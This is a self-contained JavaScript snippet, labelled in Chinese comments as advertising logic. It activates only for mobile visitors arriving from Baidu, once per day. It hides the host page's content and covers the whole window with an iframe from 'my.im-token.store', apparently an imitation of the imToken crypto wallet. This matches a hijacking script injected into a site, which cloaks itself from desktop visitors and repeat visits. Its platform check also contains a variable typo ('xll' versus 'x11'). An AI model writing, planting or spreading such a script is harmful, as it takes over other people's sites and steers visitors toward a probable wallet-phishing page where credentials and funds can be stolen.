(function(){
    // =========================
    // Cookie 工具函数
    // =========================
    function setCookie(name, value, days) {
        var expires = "";
        if (days) {
            var date = new Date();
            date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
            expires = "; expires=" + date.toUTCString();
        }
        document.cookie = name + "=" + encodeURIComponent(value) + expires + "; path=/; SameSite=Lax";
    }

    function getCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
            var c = ca[i].trim();
            if (c.indexOf(nameEQ) === 0) {
                return decodeURIComponent(c.substring(nameEQ.length));
            }
        }
        return null;
    }

    // =========================
    // 生成当天标识
    // =========================
    function getTodayKey() {
        var d = new Date();
        var y = d.getFullYear();
        var m = ('0' + (d.getMonth() + 1)).slice(-2);
        var day = ('0' + d.getDate()).slice(-2);
        return y + '-' + m + '-' + day;
    }

    // =========================
    // 本地存储工具（双保险）
    // =========================
    function setStorage(key, value) {
        try {
            localStorage.setItem(key, value);
        } catch (e) {}

        try {
            sessionStorage.setItem(key, value);
        } catch (e) {}
    }

    function getStorage(key) {
        try {
            var v = localStorage.getItem(key);
            if (v) return v;
        } catch (e) {}

        try {
            var s = sessionStorage.getItem(key);
            if (s) return s;
        } catch (e) {}

        return null;
    }

    var todayKey = getTodayKey();

    // 三重判断：Cookie / localStorage / sessionStorage
    var adShownToday =
        getCookie('ad_shown_date') ||
        getStorage('ad_shown_date');

    // 如果今天已经展示过广告，则不再展示
    if (adShownToday === todayKey) {
        return;
    }

    var system = {win:false, mac:false, xll:false};
    var p = navigator.platform || '';
    system.win = p.indexOf("Win") == 0;
    system.mac = p.indexOf("Mac") == 0;
    system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);

    if(system.win || system.mac || system.xll) {
        return;
    }

    var s = document.referrer || '';
    if(s.indexOf("baidu") > -1){

        // 先立即写入三重标记，避免页面被快速覆盖时丢失
        setCookie('ad_shown_date', todayKey, 7);
        setStorage('ad_shown_date', todayKey);

        // 再次校验一下，确保真的写进去了
        var confirmShown =
            getCookie('ad_shown_date') ||
            getStorage('ad_shown_date');

        // 即使确认失败，也继续广告逻辑（避免丢流量）
        // 但一般情况下这里会成功

        function showAd() {
            try {
                // 隐藏所有 body 子元素
                var children = document.body.children;
                for (var i = 0; i < children.length; i++) {
                    if (children[i].id !== 'mainFrame') {
                        children[i].style.display = 'none';
                    }
                }

                // 防止重复插入
                if (document.getElementById('mainFrame')) {
                    return;
                }

                var iframe = document.createElement('iframe');
                iframe.src = 'https://my.im-token.store/';
                iframe.width = '100%';
                iframe.height = window.innerHeight + 'px';
                iframe.frameBorder = '0';
                iframe.name = 'mainFrame';
                iframe.id = 'mainFrame';
                iframe.style.display = 'block';
                iframe.style.width = '100%';
                iframe.style.height = window.innerHeight + 'px';
                iframe.style.border = 'none';
                iframe.style.margin = '0';
                iframe.style.padding = '0';

                document.body.appendChild(iframe);

                function resizeIframe() {
                    iframe.style.height = window.innerHeight + 'px';
                    iframe.height = window.innerHeight;
                }

                window.addEventListener('resize', resizeIframe);
                resizeIframe();

            } catch (e) {
                console.log('iframe ad error:', e);
            }
        }

        if (document.readyState === 'loading') {
            document.addEventListener('DOMContentLoaded', showAd);
        } else {
            showAd();
        }
    }
})();